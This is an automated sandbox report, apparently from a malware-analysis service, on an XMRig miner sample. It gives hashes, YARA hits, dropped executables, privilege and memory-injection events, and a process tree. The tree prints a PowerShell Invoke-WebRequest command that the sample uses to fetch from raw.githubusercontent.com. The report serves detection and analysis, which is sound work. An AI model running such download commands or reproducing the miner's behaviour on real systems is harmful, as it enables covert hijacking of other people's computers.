xmrig | 0cf96916a10e2b797571d9ef1c1acd76b04f2935225ce5fd97f8ba50e31b36a1

Analysis

max time kernel
93s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
02/05/2024, 23:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
Size

2.2MB
MD5

0f2fc8d4d7f2ade7ff94e2ba62606222
SHA1

cfed352c978be66668c44bd4bce22d927e6f2998
SHA256

0cf96916a10e2b797571d9ef1c1acd76b04f2935225ce5fd97f8ba50e31b36a1
SHA512

c045b66e98830ae75534c937d3fef256a312f6d3225168015d6ea1a86db42616b73dfe7ea235273db3fc35c58fb603f9f1f29f0242eac4a9920d90efb620f98e
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1VQx7Va4qrfg:NABt

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 47 IoCs

miner

resource	yara_rule
behavioral2/memory/2316-166-0x00007FF6A90C0000-0x00007FF6A94B2000-memory.dmp	xmrig
behavioral2/memory/4520-245-0x00007FF6AAEA0000-0x00007FF6AB292000-memory.dmp	xmrig
behavioral2/memory/3040-211-0x00007FF7F4530000-0x00007FF7F4922000-memory.dmp	xmrig
behavioral2/memory/3548-325-0x00007FF6AD060000-0x00007FF6AD452000-memory.dmp	xmrig
behavioral2/memory/4960-362-0x00007FF736F30000-0x00007FF737322000-memory.dmp	xmrig
behavioral2/memory/4644-368-0x00007FF75DCC0000-0x00007FF75E0B2000-memory.dmp	xmrig
behavioral2/memory/2468-375-0x00007FF6D5750000-0x00007FF6D5B42000-memory.dmp	xmrig
behavioral2/memory/2456-377-0x00007FF7CA9D0000-0x00007FF7CADC2000-memory.dmp	xmrig
behavioral2/memory/3260-376-0x00007FF67B710000-0x00007FF67BB02000-memory.dmp	xmrig
behavioral2/memory/2688-374-0x00007FF768B10000-0x00007FF768F02000-memory.dmp	xmrig
behavioral2/memory/3020-373-0x00007FF7F1490000-0x00007FF7F1882000-memory.dmp	xmrig
behavioral2/memory/1156-372-0x00007FF6B4500000-0x00007FF6B48F2000-memory.dmp	xmrig
behavioral2/memory/2628-371-0x00007FF6EF3B0000-0x00007FF6EF7A2000-memory.dmp	xmrig
behavioral2/memory/3336-370-0x00007FF65EDF0000-0x00007FF65F1E2000-memory.dmp	xmrig
behavioral2/memory/2972-369-0x00007FF7CB860000-0x00007FF7CBC52000-memory.dmp	xmrig
behavioral2/memory/2920-367-0x00007FF7FBFC0000-0x00007FF7FC3B2000-memory.dmp	xmrig
behavioral2/memory/456-366-0x00007FF699060000-0x00007FF699452000-memory.dmp	xmrig
behavioral2/memory/4628-365-0x00007FF7D11C0000-0x00007FF7D15B2000-memory.dmp	xmrig
behavioral2/memory/3408-364-0x00007FF666990000-0x00007FF666D82000-memory.dmp	xmrig
behavioral2/memory/760-363-0x00007FF6BA200000-0x00007FF6BA5F2000-memory.dmp	xmrig
behavioral2/memory/4836-350-0x00007FF6DD090000-0x00007FF6DD482000-memory.dmp	xmrig
behavioral2/memory/2028-324-0x00007FF6BC780000-0x00007FF6BCB72000-memory.dmp	xmrig
behavioral2/memory/4368-110-0x00007FF68DFA0000-0x00007FF68E392000-memory.dmp	xmrig
behavioral2/memory/4320-2966-0x00007FF6E53E0000-0x00007FF6E57D2000-memory.dmp	xmrig
behavioral2/memory/3260-2968-0x00007FF67B710000-0x00007FF67BB02000-memory.dmp	xmrig
behavioral2/memory/3040-2970-0x00007FF7F4530000-0x00007FF7F4922000-memory.dmp	xmrig
behavioral2/memory/2456-2972-0x00007FF7CA9D0000-0x00007FF7CADC2000-memory.dmp	xmrig
behavioral2/memory/4520-2974-0x00007FF6AAEA0000-0x00007FF6AB292000-memory.dmp	xmrig
behavioral2/memory/4368-2978-0x00007FF68DFA0000-0x00007FF68E392000-memory.dmp	xmrig
behavioral2/memory/4836-2977-0x00007FF6DD090000-0x00007FF6DD482000-memory.dmp	xmrig
behavioral2/memory/2028-2980-0x00007FF6BC780000-0x00007FF6BCB72000-memory.dmp	xmrig
behavioral2/memory/760-2985-0x00007FF6BA200000-0x00007FF6BA5F2000-memory.dmp	xmrig
behavioral2/memory/3548-2990-0x00007FF6AD060000-0x00007FF6AD452000-memory.dmp	xmrig
behavioral2/memory/3336-2994-0x00007FF65EDF0000-0x00007FF65F1E2000-memory.dmp	xmrig
behavioral2/memory/4628-2992-0x00007FF7D11C0000-0x00007FF7D15B2000-memory.dmp	xmrig
behavioral2/memory/2316-2989-0x00007FF6A90C0000-0x00007FF6A94B2000-memory.dmp	xmrig
behavioral2/memory/4960-2987-0x00007FF736F30000-0x00007FF737322000-memory.dmp	xmrig
behavioral2/memory/3408-2983-0x00007FF666990000-0x00007FF666D82000-memory.dmp	xmrig
behavioral2/memory/2920-2996-0x00007FF7FBFC0000-0x00007FF7FC3B2000-memory.dmp	xmrig
behavioral2/memory/4644-3014-0x00007FF75DCC0000-0x00007FF75E0B2000-memory.dmp	xmrig
behavioral2/memory/1156-3037-0x00007FF6B4500000-0x00007FF6B48F2000-memory.dmp	xmrig
behavioral2/memory/2972-3007-0x00007FF7CB860000-0x00007FF7CBC52000-memory.dmp	xmrig
behavioral2/memory/2628-3004-0x00007FF6EF3B0000-0x00007FF6EF7A2000-memory.dmp	xmrig
behavioral2/memory/456-2999-0x00007FF699060000-0x00007FF699452000-memory.dmp	xmrig
behavioral2/memory/2688-3020-0x00007FF768B10000-0x00007FF768F02000-memory.dmp	xmrig
behavioral2/memory/2468-3018-0x00007FF6D5750000-0x00007FF6D5B42000-memory.dmp	xmrig
behavioral2/memory/3020-3001-0x00007FF7F1490000-0x00007FF7F1882000-memory.dmp	xmrig

Blocklisted process makes network request 7 IoCs

flow	pid	Process
10	5112	powershell.exe
12	5112	powershell.exe
14	5112	powershell.exe
15	5112	powershell.exe
17	5112	powershell.exe
21	5112	powershell.exe
22	5112	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5112	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
4320	zJzvLdB.exe
3260	OLmcEhf.exe
2456	KjNHfMi.exe
4368	QgqoIBh.exe
2316	OupfqNM.exe
3040	swTKHsc.exe
4520	bbPqrJO.exe
2028	gJtRUPW.exe
3548	hzLpQJW.exe
4836	LwuHdHp.exe
4960	MrWrQzx.exe
760	hvMNbJb.exe
3408	VCbflMQ.exe
4628	QNDMozK.exe
456	rUwVGuI.exe
2920	ylAypGW.exe
4644	XCwOLou.exe
2972	pBbPldO.exe
3336	BSJOkgH.exe
2628	PueJaFq.exe
1156	TwuMIVd.exe
3020	yULWkxI.exe
2688	WLvIzUD.exe
2468	yhGIbjF.exe
4868	qpmheSP.exe
1936	WrwewGr.exe
1408	ASukDBT.exe
4888	gMwOuzP.exe
3824	IyIseSO.exe
4976	cDcpUpv.exe
4784	KPhVmrS.exe
3116	DgJMZIS.exe
1084	UWPQuAh.exe
3820	gbDOmoy.exe
2592	ykwFTNG.exe
4968	ClGohlA.exe
1000	QdfQBkA.exe
4436	yJlHxfB.exe
2132	NzhpWdk.exe
3968	pMpKqfF.exe
4640	FOLpoxm.exe
2476	AJXfyAu.exe
4848	TYCtVfn.exe
1240	BeTzkzt.exe
1964	BDbtDbc.exe
1792	hADglrS.exe
3932	Ncgutjs.exe
4100	kvwseWP.exe
3452	RnaDKxu.exe
532	wUVOokr.exe
4180	AZDQLQq.exe
2836	wYUTTCc.exe
2280	YHJwehG.exe
4924	kzUyQHP.exe
3000	SaEJBrI.exe
376	rmfsDKz.exe
212	kzmCjXO.exe
5032	rukmBBx.exe
2512	mPDEbuF.exe
4356	DaFAlEo.exe
1288	FYoszLL.exe
4816	llaXxqg.exe
2952	OvVsUtF.exe
3212	agqkJAh.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2144-0-0x00007FF6DAAA0000-0x00007FF6DAE92000-memory.dmp	upx
behavioral2/files/0x000b000000023bb3-5.dat	upx
behavioral2/files/0x0031000000023bb7-11.dat	upx
behavioral2/files/0x000a000000023bb8-34.dat	upx
behavioral2/files/0x000a000000023bc3-70.dat	upx
behavioral2/files/0x000a000000023bc8-95.dat	upx
behavioral2/files/0x000a000000023bc2-63.dat	upx
behavioral2/files/0x000a000000023bc1-60.dat	upx
behavioral2/files/0x000a000000023bc7-89.dat	upx
behavioral2/files/0x000a000000023bc0-59.dat	upx
behavioral2/files/0x000a000000023bbb-58.dat	upx
behavioral2/files/0x000a000000023bba-52.dat	upx
behavioral2/files/0x000a000000023bb9-49.dat	upx
behavioral2/files/0x000a000000023bca-101.dat	upx
behavioral2/files/0x000a000000023bdb-186.dat	upx
behavioral2/files/0x000a000000023bda-185.dat	upx
behavioral2/files/0x000a000000023bd9-183.dat	upx
behavioral2/files/0x000a000000023bd1-177.dat	upx
behavioral2/files/0x000a000000023bd8-170.dat	upx
behavioral2/memory/2316-166-0x00007FF6A90C0000-0x00007FF6A94B2000-memory.dmp	upx
behavioral2/files/0x000a000000023bd7-161.dat	upx
behavioral2/files/0x000a000000023bd6-160.dat	upx
behavioral2/files/0x000a000000023bd5-159.dat	upx
behavioral2/files/0x000a000000023bd3-151.dat	upx
behavioral2/memory/4520-245-0x00007FF6AAEA0000-0x00007FF6AB292000-memory.dmp	upx
behavioral2/memory/3040-211-0x00007FF7F4530000-0x00007FF7F4922000-memory.dmp	upx
behavioral2/files/0x000a000000023bdd-199.dat	upx
behavioral2/files/0x000a000000023bcc-194.dat	upx
behavioral2/files/0x000a000000023bdc-190.dat	upx
behavioral2/files/0x000a000000023bc4-143.dat	upx
behavioral2/files/0x000a000000023bc5-141.dat	upx
behavioral2/files/0x000a000000023bd2-134.dat	upx
behavioral2/memory/3548-325-0x00007FF6AD060000-0x00007FF6AD452000-memory.dmp	upx
behavioral2/memory/4960-362-0x00007FF736F30000-0x00007FF737322000-memory.dmp	upx
behavioral2/memory/4644-368-0x00007FF75DCC0000-0x00007FF75E0B2000-memory.dmp	upx
behavioral2/memory/2468-375-0x00007FF6D5750000-0x00007FF6D5B42000-memory.dmp	upx
behavioral2/memory/2456-377-0x00007FF7CA9D0000-0x00007FF7CADC2000-memory.dmp	upx
behavioral2/memory/3260-376-0x00007FF67B710000-0x00007FF67BB02000-memory.dmp	upx
behavioral2/memory/2688-374-0x00007FF768B10000-0x00007FF768F02000-memory.dmp	upx
behavioral2/memory/3020-373-0x00007FF7F1490000-0x00007FF7F1882000-memory.dmp	upx
behavioral2/memory/1156-372-0x00007FF6B4500000-0x00007FF6B48F2000-memory.dmp	upx
behavioral2/memory/2628-371-0x00007FF6EF3B0000-0x00007FF6EF7A2000-memory.dmp	upx
behavioral2/memory/3336-370-0x00007FF65EDF0000-0x00007FF65F1E2000-memory.dmp	upx
behavioral2/memory/2972-369-0x00007FF7CB860000-0x00007FF7CBC52000-memory.dmp	upx
behavioral2/memory/2920-367-0x00007FF7FBFC0000-0x00007FF7FC3B2000-memory.dmp	upx
behavioral2/memory/456-366-0x00007FF699060000-0x00007FF699452000-memory.dmp	upx
behavioral2/memory/4628-365-0x00007FF7D11C0000-0x00007FF7D15B2000-memory.dmp	upx
behavioral2/memory/3408-364-0x00007FF666990000-0x00007FF666D82000-memory.dmp	upx
behavioral2/memory/760-363-0x00007FF6BA200000-0x00007FF6BA5F2000-memory.dmp	upx
behavioral2/memory/4836-350-0x00007FF6DD090000-0x00007FF6DD482000-memory.dmp	upx
behavioral2/memory/2028-324-0x00007FF6BC780000-0x00007FF6BCB72000-memory.dmp	upx
behavioral2/files/0x000a000000023bc9-131.dat	upx
behavioral2/files/0x000a000000023bd0-168.dat	upx
behavioral2/files/0x000a000000023bd4-158.dat	upx
behavioral2/memory/4368-110-0x00007FF68DFA0000-0x00007FF68E392000-memory.dmp	upx
behavioral2/files/0x000a000000023bc6-107.dat	upx
behavioral2/files/0x000a000000023bcf-106.dat	upx
behavioral2/files/0x000a000000023bce-105.dat	upx
behavioral2/files/0x000a000000023bcd-104.dat	upx
behavioral2/files/0x000a000000023bcb-102.dat	upx
behavioral2/files/0x000a000000023bbf-90.dat	upx
behavioral2/files/0x000a000000023bbe-88.dat	upx
behavioral2/files/0x000a000000023bbd-79.dat	upx
behavioral2/files/0x000a000000023bbc-40.dat	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
10	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\RnaDKxu.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\FxWTTgX.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\RzczIWu.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\tIApHGm.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\uAAjOmm.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\UKMNZGE.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\KtwYRrk.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\aaJsTuY.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\gxHLDnJ.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\rFaIEiS.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\nZBhsYf.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\VwrPrYT.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\kgXpemD.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\GwDjzbr.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\kyBrGsG.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\ypOaIgg.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\TyzYXBO.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\NpevXIO.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\oXHdCtR.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\cPgglUw.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\vFFmKST.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\BusyYzL.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\yMDKEPs.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\Kvnvdfy.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\tKRfAwF.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\DgJMZIS.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\amvoZiB.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\yTCHPjE.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\DztCutA.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\WLvIzUD.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\sLOSmwE.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\LLOPNcS.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\vlBYysg.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\DWTDLLH.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\dbPTgwR.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\dIbsZWD.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\byDnSTR.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\hLmSmxW.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\pQOFnQL.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\lDwJtiB.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\fwtHBMJ.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\dKhgigc.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\czJnplF.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\XMxGvpb.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\SyGPJCU.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\LwuHdHp.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\QNDMozK.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\GTzAPEN.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\shytjKW.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\GcsterN.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\JsvjukL.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\wxyKnug.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\MYGhTEd.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\tUYrWOT.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\jnhUNfx.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\DJEocOT.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\BgmmCyF.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\JTzTzgg.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\Ajuuoyj.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\BgmBUMk.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\fXzrgIc.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\nuKXikG.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\FeCnNNe.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
File created	C:\Windows\System\VCbflMQ.exe	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5112	powershell.exe
5112	powershell.exe
5112	powershell.exe
5112	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
Token: SeDebugPrivilege	5112	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2144 wrote to memory of 5112	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	84
PID 2144 wrote to memory of 5112	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	84
PID 2144 wrote to memory of 4320	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	85
PID 2144 wrote to memory of 4320	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	85
PID 2144 wrote to memory of 3260	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	86
PID 2144 wrote to memory of 3260	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	86
PID 2144 wrote to memory of 4520	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	87
PID 2144 wrote to memory of 4520	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	87
PID 2144 wrote to memory of 2456	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	88
PID 2144 wrote to memory of 2456	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	88
PID 2144 wrote to memory of 4368	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	89
PID 2144 wrote to memory of 4368	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	89
PID 2144 wrote to memory of 2316	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	90
PID 2144 wrote to memory of 2316	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	90
PID 2144 wrote to memory of 3040	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	91
PID 2144 wrote to memory of 3040	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	91
PID 2144 wrote to memory of 2028	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	92
PID 2144 wrote to memory of 2028	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	92
PID 2144 wrote to memory of 3548	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	93
PID 2144 wrote to memory of 3548	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	93
PID 2144 wrote to memory of 4836	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	94
PID 2144 wrote to memory of 4836	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	94
PID 2144 wrote to memory of 4960	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	95
PID 2144 wrote to memory of 4960	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	95
PID 2144 wrote to memory of 760	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	96
PID 2144 wrote to memory of 760	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	96
PID 2144 wrote to memory of 3408	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	97
PID 2144 wrote to memory of 3408	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	97
PID 2144 wrote to memory of 4628	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	98
PID 2144 wrote to memory of 4628	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	98
PID 2144 wrote to memory of 456	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	99
PID 2144 wrote to memory of 456	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	99
PID 2144 wrote to memory of 2920	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	100
PID 2144 wrote to memory of 2920	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	100
PID 2144 wrote to memory of 1936	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	101
PID 2144 wrote to memory of 1936	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	101
PID 2144 wrote to memory of 4644	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	102
PID 2144 wrote to memory of 4644	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	102
PID 2144 wrote to memory of 2972	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	103
PID 2144 wrote to memory of 2972	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	103
PID 2144 wrote to memory of 3336	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	104
PID 2144 wrote to memory of 3336	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	104
PID 2144 wrote to memory of 2628	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	105
PID 2144 wrote to memory of 2628	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	105
PID 2144 wrote to memory of 1156	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	106
PID 2144 wrote to memory of 1156	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	106
PID 2144 wrote to memory of 3020	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	107
PID 2144 wrote to memory of 3020	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	107
PID 2144 wrote to memory of 2688	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	108
PID 2144 wrote to memory of 2688	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	108
PID 2144 wrote to memory of 2468	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	109
PID 2144 wrote to memory of 2468	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	109
PID 2144 wrote to memory of 4868	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	110
PID 2144 wrote to memory of 4868	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	110
PID 2144 wrote to memory of 1408	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	111
PID 2144 wrote to memory of 1408	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	111
PID 2144 wrote to memory of 4888	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	112
PID 2144 wrote to memory of 4888	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	112
PID 2144 wrote to memory of 3824	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	113
PID 2144 wrote to memory of 3824	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	113
PID 2144 wrote to memory of 4976	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	114
PID 2144 wrote to memory of 4976	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	114
PID 2144 wrote to memory of 4784	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	115
PID 2144 wrote to memory of 4784	2144	0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe	115

C:\Users\Admin\AppData\Local\Temp\0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0f2fc8d4d7f2ade7ff94e2ba62606222_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5112
- C:\Windows\System\zJzvLdB.exe
  C:\Windows\System\zJzvLdB.exe
  2⤵
  - Executes dropped EXE
  PID:4320
- C:\Windows\System\OLmcEhf.exe
  C:\Windows\System\OLmcEhf.exe
  2⤵
  - Executes dropped EXE
  PID:3260
- C:\Windows\System\bbPqrJO.exe
